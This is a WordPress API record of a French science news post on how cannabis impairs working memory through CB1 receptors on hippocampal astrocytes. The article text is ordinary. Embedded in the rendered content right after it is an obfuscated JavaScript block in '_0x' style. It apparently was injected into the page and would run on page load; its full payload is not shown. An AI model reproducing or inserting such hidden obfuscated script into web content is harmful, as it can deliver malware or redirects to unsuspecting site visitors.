{"id":27,"date":"2013-12-04T13:18:56","date_gmt":"2013-12-04T10:18:56","guid":{"rendered":"http:\/\/www.energy-sciences.org\/energy\/2013\/12\/04\/vers-un-cannabis-sans-effets-secondaires\/"},"modified":"2013-12-04T13:18:56","modified_gmt":"2013-12-04T10:18:56","slug":"vers-un-cannabis-sans-effets-secondaires","status":"publish","type":"post","link":"https:\/\/www.energy-sciences.org\/sciences\/vers-un-cannabis-sans-effets-secondaires\/","title":{"rendered":"Vers un cannabis sans effets secondaires ?"},"content":{"rendered":"<div class=\"art-article\">\n<p style=\"text-align: justify;\"><img decoding=\"async\" src=\"http:\/\/www.pourlascience.fr\/e_img\/boutique\/cannabis_md.jpg\" border=\"0\" width=\"200\" height=\"183\" style=\"float: right;\" \/>Une simple prise de cannabis entra\u00eene, pendant plusieurs heures, une baisse des capacit\u00e9s de m\u00e9moire de travail, c\u2019est-\u00e0-dire de la capacit\u00e9 \u00e0 maintenir en m\u00e9moire, pendant une dur\u00e9e limit\u00e9e, des informations pour les manipuler. Tenir une conversation, lire un texte, r\u00e9aliser des calculs mentaux \u2013 ou conduire avec s\u00fbret\u00e9 \u2013 devient plus difficile.<\/p>\n<p>  <!--more-->  <\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p>\u00a0<\/p>\n<p style=\"text-align: justify;\">Des \u00e9quipes du Neurocentre Magendie \u00e0 Bordeaux, de l\u2019Universit\u00e9 d\u2019Ottawa au Canada et de plusieurs universit\u00e9s chinoises ont montr\u00e9 que cette alt\u00e9ration de la m\u00e9moire est due \u00e0 une baisse de la transmission des informations \u00e9lectriques entre neurones dans une zone du cerveau nomm\u00e9e hippocampe. Ils ont pu \u00e9tablir que cette diminution r\u00e9sulte de l\u2019action du cannabis sur des r\u00e9cepteurs neuronaux dits cannabino\u00efdes de type 1, sp\u00e9cifiquement pr\u00e9sents sur les astrocytes.<\/p>\n<p style=\"text-align: justify;\">Les astrocytes sont des cellules qui entourent les neurones ; elles jouent des r\u00f4les divers, de soutien, de protection, mais aussi de communication par divers messagers chimiques. Dans ce dernier cas, il semble que l\u2019activation des r\u00e9cepteurs cannabino\u00efdes entra\u00eene la lib\u00e9ration par les astrocytes d\u2019un neurotransmetteur, le glutamate, lequel se fixe sur certains neurones voisins et r\u00e9duit leur capacit\u00e9 \u00e0 capter l\u2019information issue de leurs partenaires.<\/p>\n<p style=\"text-align: justify;\">On imagine d\u00e8s lors bloquer les r\u00e9cepteurs cannabino\u00efdes sur les astrocytes (et non sur les neurones), de fa\u00e7on \u00e0 \u00e9liminer les effets n\u00e9gatifs du cannabis sur la m\u00e9moire tout en conservant ses effets b\u00e9n\u00e9fiques sur la douleur et l\u2019app\u00e9tit. En effet, le t\u00e9trahydrocannabinol, principe actif du cannabis, augmente l\u2019app\u00e9tit \u00e0 faible dose et le r\u00e9duit \u00e0 forte dose. Il est aussi utilis\u00e9 dans le traitement des douleurs neuropathiques ou associ\u00e9es \u00e0 certaines chimioth\u00e9rapies.<\/p>\n<p>pour la sciences<\/p>\n<\/p><\/div>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Tenir <a class=\"mh-excerpt-more\" href=\"https:\/\/www.energy-sciences.org\/sciences\/vers-un-cannabis-sans-effets-secondaires\/\" title=\"Vers un cannabis sans effets secondaires ?\">[&#8230;]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":{"0":"post-27","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-biologie"},"_links":{"self":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/27","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/comments?post=27"}],"version-history":[{"count":0,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/27\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/media?parent=27"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/categories?post=27"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/tags?post=27"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}